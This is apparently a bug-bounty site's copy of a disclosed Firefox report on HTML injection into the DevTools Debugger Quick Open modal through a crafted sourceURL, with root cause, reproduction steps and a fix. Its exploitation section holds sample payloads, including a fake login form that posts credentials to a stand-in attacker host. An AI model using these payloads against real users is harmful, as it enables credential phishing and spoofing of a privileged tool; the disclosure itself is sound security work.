Skip to content
XSS Disclosed report Intermediate

DevTools Quick Open HTML Injection via sourceURL

The Firefox DevTools Debugger Quick Open modal renders source file names using dangerouslySetInnerHTML without escaping, so a page can set a sourceURL containing HTML that is then injected into the DevTools UI. An attacker could inject HTML and CSS into the privileged DevTools context, though the page's CSP blocks inline script execution.

Satoki Tsuji Follow

Originally disclosed on Mozilla

  • Fixed in 9 hours
  • Paid in 7 days
  • Disclosed after 9 hours

Created attachment 9554737 poc.zip

Summary

A HTML injection vulnerability exists in Firefox DevTools' Debugger Quick Open feature (Ctrl+P). An attacker can inject arbitrary HTML into the Quick Open search results by crafting a JavaScript //# sourceURL= directive containing HTML payloads.

Impact

  • Component: DevTools Debugger - Quick Open Modal
  • Affected Versions: Firefox 150.0a1 (latest trunk) and current stable releases
  • Severity: sec-high (HTML/CSS injection in DevTools privileged context)
  • CWE: CWE-79 (Cross-site Scripting), CWE-116 (Improper Encoding or Escaping of Output)

Vulnerability Details

Root Cause

In devtools/client/debugger/src/components/QuickOpenModal.js, the renderHighlight() method (lines 394-408) renders the output of fuzzaldrin-plus.wrap() via React's dangerouslySetInnerHTML without any HTML escaping of the input string.

JavaScript
// QuickOpenModal.js:394-408
renderHighlight(candidateString, query) {
    const options = {
      wrap: {
        tagOpen: '<mark class="highlight">',
        tagClose: "</mark>",
      },
    };
    const html = fuzzyAldrin.wrap(candidateString, query, options);
    return div({
      dangerouslySetInnerHTML: {
        __html: html,  // No HTML escaping!
      },
    });
}

Data Flow (Attack Path)

  1. Attacker places a script with //# sourceURL=malicious<html>payload.js on their webpage
  2. The sourceURL value is stored in the DevTools source list as the source's display name
  3. The source name flows through getDisplayURL().filename -> getRawSourceURL() -> shortName without any sanitization
  4. When Quick Open search runs, formatSourceForList() sets title: source.shortName
  5. highlightMatching() calls renderHighlight(result.title, ...)
  6. fuzzaldrin.wrap() wraps matched characters in <mark> tags but outputs unmatched characters without HTML escaping
  7. The result is inserted into the DOM via dangerouslySetInnerHTML

Affected Files

File Lines Issue
devtools/client/debugger/src/components/QuickOpenModal.js 394-408 dangerouslySetInnerHTML with unsanitized input
devtools/client/shared/vendor/fuzzaldrin-plus.js 194-236 wrap() does not HTML-escape input
devtools/client/debugger/src/utils/quick-open.js 54-76 shortName used without escaping
devtools/client/debugger/src/client/firefox/create.js 276-278 shortName generated without escaping

CSP Mitigation

The DevTools Debugger page has the following CSP:

default-src chrome:; style-src chrome: 'unsafe-inline';
  • Inline script execution: Blocked (<svg onload=...>, <script>..., etc.)
  • CSS injection: Possible (style-src 'unsafe-inline' allows inline styles)
  • HTML element injection: Possible (forms, divs, imgs, etc. can be inserted)
  • DOM clobbering: Possible (overwriting JavaScript globals via element IDs)

Exploitation Scenarios

Scenario 1: CSS Injection for DevTools UI Manipulation

An attacker can inject <style> tags to completely alter the DevTools UI appearance. The CSP allows inline styles via style-src 'unsafe-inline'.

JavaScript
//# sourceURL=legit-file<style>*{background:red !important}</style>.js

Scenario 2: Form Injection for Credential Phishing

Display a fake authentication form within DevTools to steal developer credentials.

JavaScript
//# sourceURL=legit-config<form action="https://attacker.com/steal"><input name="u" placeholder="Username"><input name="p" type="password"><button>Login</button></form>.js

Scenario 3: Visual Spoofing

Display fake error messages or warnings to trick developers into taking incorrect actions.

Scenario 4: DOM Clobbering

Inject elements with specific id attributes to overwrite DevTools JavaScript globals, potentially causing unexpected behavior.

Scenario 5: Future CSP Relaxation

If the CSP is ever relaxed (e.g., adding img-src https:), CSS-based data exfiltration or script gadget exploitation could enable full script execution.

Reproduction Steps

  1. Start poc_server.py: python3 poc_server.py
  2. Open http://localhost:8080/poc.html in Firefox
  3. Open DevTools (F12)
  4. Switch to the Debugger tab
  5. Press Ctrl+P to open Quick Open modal
  6. Type "legit" in the search box
  7. Observe injected HTML rendering in search results

Suggested Fix

HTML-escape the input to fuzzaldrin.wrap() in renderHighlight():

JavaScript
function escapeHtml(str) {
  return str.replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#039;');
}

renderHighlight(candidateString, query) {
    const escaped = escapeHtml(candidateString);
    const options = { ... };
    const html = fuzzyAldrin.wrap(escaped, query, options);
    // ...
}

Alternatively, avoid using dangerouslySetInnerHTML entirely and use React's safe textContent-based rendering with separate <mark> components for highlighted portions.

The original report as published on Mozilla's Bugzilla, by Satoki Tsuji. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The Quick Open modal passes unescaped source names to fuzzaldrin-plus.wrap() and then inserts the result with dangerouslySetInnerHTML, so any HTML in the name is rendered as markup.

What the attacker needed

Victim opens a malicious page; victim opens DevTools Debugger; victim uses Quick Open search

The fix

The input to fuzzaldrin.wrap() should be HTML-escaped before rendering, or dangerouslySetInnerHTML should be replaced with safe React text rendering and separate mark components.

How it was found

  1. Start the provided local test server.
  2. Open the test page in Firefox.
  3. Open DevTools and switch to the Debugger tab.
  4. Press Ctrl+P to open Quick Open.
  5. Type the search term to see the injected HTML in the results.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you open a website's JavaScript in Firefox's developer tools, the file names shown in the quick search box come from the page itself. The tool inserts those names into the page as raw HTML instead of plain text, so a malicious site can sneak in extra HTML elements. The browser's security rules stop scripts from running, but fake forms and styling can still appear inside the developer tools window.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Satoki Tsuji

View all

8 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.